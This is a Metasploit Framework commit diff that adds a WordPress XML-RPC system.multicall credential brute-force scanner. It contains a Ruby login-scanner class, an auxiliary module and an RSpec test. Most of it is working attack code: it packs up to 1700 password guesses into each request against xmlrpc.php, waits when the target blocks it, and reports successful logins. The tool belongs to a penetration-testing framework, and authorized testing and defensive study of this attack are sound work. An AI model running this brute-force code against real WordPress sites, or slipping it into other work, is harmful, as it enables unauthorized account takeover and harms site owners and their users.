Land #6226, Add Wordpress XML-RPC system.multicall Credential BF
commit
6187354392
|
@ -0,0 +1,150 @@
|
||||||
|
require 'metasploit/framework/login_scanner/http'
|
||||||
|
require 'nokogiri'
|
||||||
|
|
||||||
|
module Metasploit
|
||||||
|
module Framework
|
||||||
|
module LoginScanner
|
||||||
|
|
||||||
|
class WordpressMulticall < HTTP
|
||||||
|
|
||||||
|
# @!attribute passwords
|
||||||
|
# @return [Array]
|
||||||
|
attr_accessor :passwords
|
||||||
|
|
||||||
|
# @!attribute chunk_size, limits number of passwords per XML request
|
||||||
|
# @return [Fixnum]
|
||||||
|
attr_accessor :chunk_size
|
||||||
|
|
||||||
|
# @!attribute block_wait, time to wait if got blocked by the target
|
||||||
|
# @return [Fixnum]
|
||||||
|
attr_accessor :block_wait
|
||||||
|
|
||||||
|
# @!attribute base_uri
|
||||||
|
# @return [String]
|
||||||
|
attr_accessor :base_uri
|
||||||
|
|
||||||
|
# @!attribute wordpress_url_xmlrpc
|
||||||
|
# @return [String]
|
||||||
|
attr_accessor :wordpress_url_xmlrpc
|
||||||
|
|
||||||
|
|
||||||
|
def set_default
|
||||||
|
self.wordpress_url_xmlrpc = 'xmlrpc.php'
|
||||||
|
self.block_wait = 6
|
||||||
|
self.base_uri = '/'
|
||||||
|
self.chunk_size = 1700
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns the XML data that is used for the login.
|
||||||
|
#
|
||||||
|
# @param user [String] username
|
||||||
|
# @return [Array]
|
||||||
|
def generate_xml(user)
|
||||||
|
xml_payloads = []
|
||||||
|
|
||||||
|
# Evil XML | Limit number of log-ins to CHUNKSIZE/request due
|
||||||
|
# Wordpress limitation which is 1700 maximum.
|
||||||
|
passwords.each_slice(chunk_size) do |pass_group|
|
||||||
|
document = Nokogiri::XML::Builder.new do |xml|
|
||||||
|
xml.methodCall {
|
||||||
|
xml.methodName("system.multicall")
|
||||||
|
xml.params {
|
||||||
|
xml.param {
|
||||||
|
xml.value {
|
||||||
|
xml.array {
|
||||||
|
xml.data {
|
||||||
|
pass_group.each do |pass|
|
||||||
|
xml.value {
|
||||||
|
xml.struct {
|
||||||
|
xml.member {
|
||||||
|
xml.name("methodName")
|
||||||
|
xml.value { xml.string("wp.getUsersBlogs") }}
|
||||||
|
xml.member {
|
||||||
|
xml.name("params")
|
||||||
|
xml.value {
|
||||||
|
xml.array {
|
||||||
|
xml.data {
|
||||||
|
xml.value {
|
||||||
|
xml.array {
|
||||||
|
xml.data {
|
||||||
|
xml.value { xml.string(user) }
|
||||||
|
xml.value { xml.string(pass) }
|
||||||
|
}}}}}}}}}
|
||||||
|
end
|
||||||
|
}}}}}}
|
||||||
|
end
|
||||||
|
xml_payloads << document.to_xml
|
||||||
|
end
|
||||||
|
|
||||||
|
xml_payloads
|
||||||
|
end
|
||||||
|
|
||||||
|
# Sends an HTTP request to Wordpress.
|
||||||
|
#
|
||||||
|
# @param xml [String] XML data.
|
||||||
|
# @return [void]
|
||||||
|
def send_wp_request(xml)
|
||||||
|
opts =
|
||||||
|
{
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri("#{base_uri}/#{wordpress_url_xmlrpc}"),
|
||||||
|
'data' => xml,
|
||||||
|
'ctype' =>'text/xml'
|
||||||
|
}
|
||||||
|
|
||||||
|
client = Rex::Proto::Http::Client.new(rhost)
|
||||||
|
client.connect
|
||||||
|
req = client.request_cgi(opts)
|
||||||
|
res = client.send_recv(req)
|
||||||
|
|
||||||
|
if res && res.code != 200
|
||||||
|
sleep(block_wait * 60)
|
||||||
|
end
|
||||||
|
|
||||||
|
@res = res
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Attempts to login.
|
||||||
|
#
|
||||||
|
# @param credential [Metasploit::Framework::Credential]
|
||||||
|
# @return [Metasploit::Framework::LoginScanner::Result]
|
||||||
|
def attempt_login(credential)
|
||||||
|
generate_xml(credential.public).each do |xml|
|
||||||
|
send_wp_request(xml)
|
||||||
|
req_xml = Nokogiri::Slop(xml)
|
||||||
|
res_xml = Nokogiri::Slop(@res.to_s.scan(/<.*>/).join)
|
||||||
|
res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|
|
||||||
|
result = value.at("struct/member/value/int")
|
||||||
|
if result.nil?
|
||||||
|
pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
|
||||||
|
credential.private = pass
|
||||||
|
result_opts = {
|
||||||
|
credential: credential,
|
||||||
|
host: host,
|
||||||
|
port: port,
|
||||||
|
protocol: 'tcp'
|
||||||
|
}
|
||||||
|
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL)
|
||||||
|
return Result.new(result_opts)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
result_opts = {
|
||||||
|
credential: credential,
|
||||||
|
host: host,
|
||||||
|
port: port,
|
||||||
|
protocol: 'tcp'
|
||||||
|
}
|
||||||
|
|
||||||
|
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT)
|
||||||
|
return Result.new(result_opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
|
@ -78,4 +78,3 @@ module Metasploit
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,137 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'metasploit/framework/credential_collection'
|
||||||
|
require 'metasploit/framework/login_scanner/wordpress_multicall'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
include Msf::Auxiliary::AuthBrute
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Wordpress XML-RPC system.multicall Credential Collector',
|
||||||
|
'Description' => %q{
|
||||||
|
This module attempts to find Wordpress credentials by abusing the XMLRPC
|
||||||
|
APIs. Wordpress versions prior to 4.4.1 are suitable for this type of
|
||||||
|
technique. For newer versions, the script will drop the CHUNKSIZE to 1 automatically.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'KingSabri <King.Sabri[at]gmail.com>' ,
|
||||||
|
'William <WCoppola[at]Lares.com>',
|
||||||
|
'sinn3r'
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/' ],
|
||||||
|
['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html' ]
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt"),
|
||||||
|
'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")
|
||||||
|
}
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptInt.new('BLOCKEDWAIT', [ true, 'Time(minutes) to wait if got blocked', 6 ]),
|
||||||
|
OptInt.new('CHUNKSIZE', [ true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500 ]),
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
# Not supporting these options, because we are not actually letting the API to process the
|
||||||
|
# password list for us. We are doing that in Metasploit::Framework::LoginScanner::WordpressRPC.
|
||||||
|
deregister_options(
|
||||||
|
'BLANK_PASSWORDS', 'PASSWORD', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_PASS'
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def passwords
|
||||||
|
File.readlines(datastore['PASS_FILE']).lazy.map {|pass| pass.chomp}
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_options
|
||||||
|
if datastore['CHUNKSIZE'] > 1700
|
||||||
|
fail_with(Failure::BadConfig, 'Option CHUNKSIZE cannot be larger than 1700')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def setup
|
||||||
|
check_options
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_setup
|
||||||
|
version = wordpress_version
|
||||||
|
vprint_status("Found Wordpress version: #{version}")
|
||||||
|
|
||||||
|
if !wordpress_and_online?
|
||||||
|
print_error("#{peer}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)")
|
||||||
|
false
|
||||||
|
elsif !wordpress_xmlrpc_enabled?
|
||||||
|
print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC")
|
||||||
|
false
|
||||||
|
elsif Gem::Version.new(version) >= Gem::Version.new('4.4.1')
|
||||||
|
print_error("#{peer}#{wordpress_url_xmlrpc} Target's version (#{version}) is not vulnerable to this attack.")
|
||||||
|
vprint_status("Dropping CHUNKSIZE from #{datastore['CHUNKSIZE']} to 1")
|
||||||
|
datastore['CHUNKSIZE'] = 1
|
||||||
|
true
|
||||||
|
else
|
||||||
|
print_status("Target #{peer} is running Wordpress")
|
||||||
|
true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
if check_setup
|
||||||
|
print_status("XMLRPC enabled, Hello message received!")
|
||||||
|
else
|
||||||
|
print_error("Abborting the attack.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("#{peer} - Starting XML-RPC login sweep...")
|
||||||
|
|
||||||
|
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||||
|
blank_passwords: true,
|
||||||
|
user_file: datastore['USER_FILE'],
|
||||||
|
username: datastore['USERNAME']
|
||||||
|
)
|
||||||
|
|
||||||
|
scanner = Metasploit::Framework::LoginScanner::WordpressMulticall.new(
|
||||||
|
configure_http_login_scanner(
|
||||||
|
passwords: passwords,
|
||||||
|
chunk_size: datastore['CHUNKSIZE'],
|
||||||
|
block_wait: datastore['BLOCKEDWAIT'],
|
||||||
|
base_uri: target_uri.path,
|
||||||
|
uri: wordpress_url_xmlrpc,
|
||||||
|
cred_details: cred_collection,
|
||||||
|
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||||
|
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||||
|
connection_timeout: 5,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
scanner.scan! do |result|
|
||||||
|
credential_data = result.to_h
|
||||||
|
credential_data.merge!(
|
||||||
|
module_fullname: self.fullname,
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
)
|
||||||
|
|
||||||
|
case result.status
|
||||||
|
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||||
|
print_brute :level => :vgood, :ip => ip, :msg => "SUCCESSFUL: #{result.credential}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,108 @@
|
||||||
|
require 'spec_helper'
|
||||||
|
require 'metasploit/framework/login_scanner/wordpress_multicall'
|
||||||
|
|
||||||
|
RSpec.describe Metasploit::Framework::LoginScanner::WordpressMulticall do
|
||||||
|
|
||||||
|
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
|
||||||
|
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||||
|
|
||||||
|
subject do
|
||||||
|
described_class.new
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:username) do
|
||||||
|
'username'
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:good_password) do
|
||||||
|
'goodpassword'
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:passwords) do
|
||||||
|
[good_password]
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:good_response) do
|
||||||
|
%Q|<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<methodResponse>
|
||||||
|
<params>
|
||||||
|
<param>
|
||||||
|
<value>
|
||||||
|
<array><data>
|
||||||
|
<value><array><data>
|
||||||
|
<value><array><data>
|
||||||
|
<value><struct>
|
||||||
|
<member><name>isAdmin</name><value><boolean>1</boolean></value></member>
|
||||||
|
<member><name>url</name><value><string>http://192.168.1.202/wordpress/</string></value></member>
|
||||||
|
<member><name>blogid</name><value><string>1</string></value></member>
|
||||||
|
<member><name>blogName</name><value><string>Test</string></value></member>
|
||||||
|
<member><name>xmlrpc</name><value><string>http://192.168.1.202/wordpress/xmlrpc.php</string></value></member>
|
||||||
|
</struct></value>
|
||||||
|
</data></array></value>
|
||||||
|
</data></array></value>
|
||||||
|
</data></array>
|
||||||
|
</value>
|
||||||
|
</param>
|
||||||
|
</params>
|
||||||
|
</methodResponse>
|
||||||
|
|
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:response) do
|
||||||
|
r = Rex::Proto::Http::Response.new(200, 'OK')
|
||||||
|
r.body = good_response
|
||||||
|
r
|
||||||
|
end
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args)
|
||||||
|
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response)
|
||||||
|
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args)
|
||||||
|
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close)
|
||||||
|
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect)
|
||||||
|
end
|
||||||
|
|
||||||
|
before do
|
||||||
|
subject.instance_variable_set(:@passwords, passwords)
|
||||||
|
subject.set_default
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#generate_xml' do
|
||||||
|
context 'when a username is given' do
|
||||||
|
it 'returns an array' do
|
||||||
|
expect(subject.generate_xml(username)).to be_kind_of(Array)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'contains our username' do
|
||||||
|
xml = subject.generate_xml(username).first
|
||||||
|
expect(xml).to include('<?xml version="1.0"?>')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#attempt_login' do
|
||||||
|
context 'when the credential is valid' do
|
||||||
|
it 'returns a Result object indicating a successful login' do
|
||||||
|
cred_obj = Metasploit::Framework::Credential.new(public: username, private: good_password)
|
||||||
|
result = subject.attempt_login(cred_obj)
|
||||||
|
expect(result).to be_kind_of(::Metasploit::Framework::LoginScanner::Result)
|
||||||
|
expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#send_wp_request' do
|
||||||
|
context 'when a request is sent' do
|
||||||
|
it 'sets @res with an HTTP response object' do
|
||||||
|
subject.send_wp_request('xml')
|
||||||
|
expect(subject.instance_variable_get(:@res)).to be_kind_of(Rex::Proto::Http::Response)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets @res with an XML document' do
|
||||||
|
subject.send_wp_request('xml')
|
||||||
|
expect(subject.instance_variable_get(:@res).body).to include('<?xml version="1.0" encoding="UTF-8"?>')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Reference in New Issue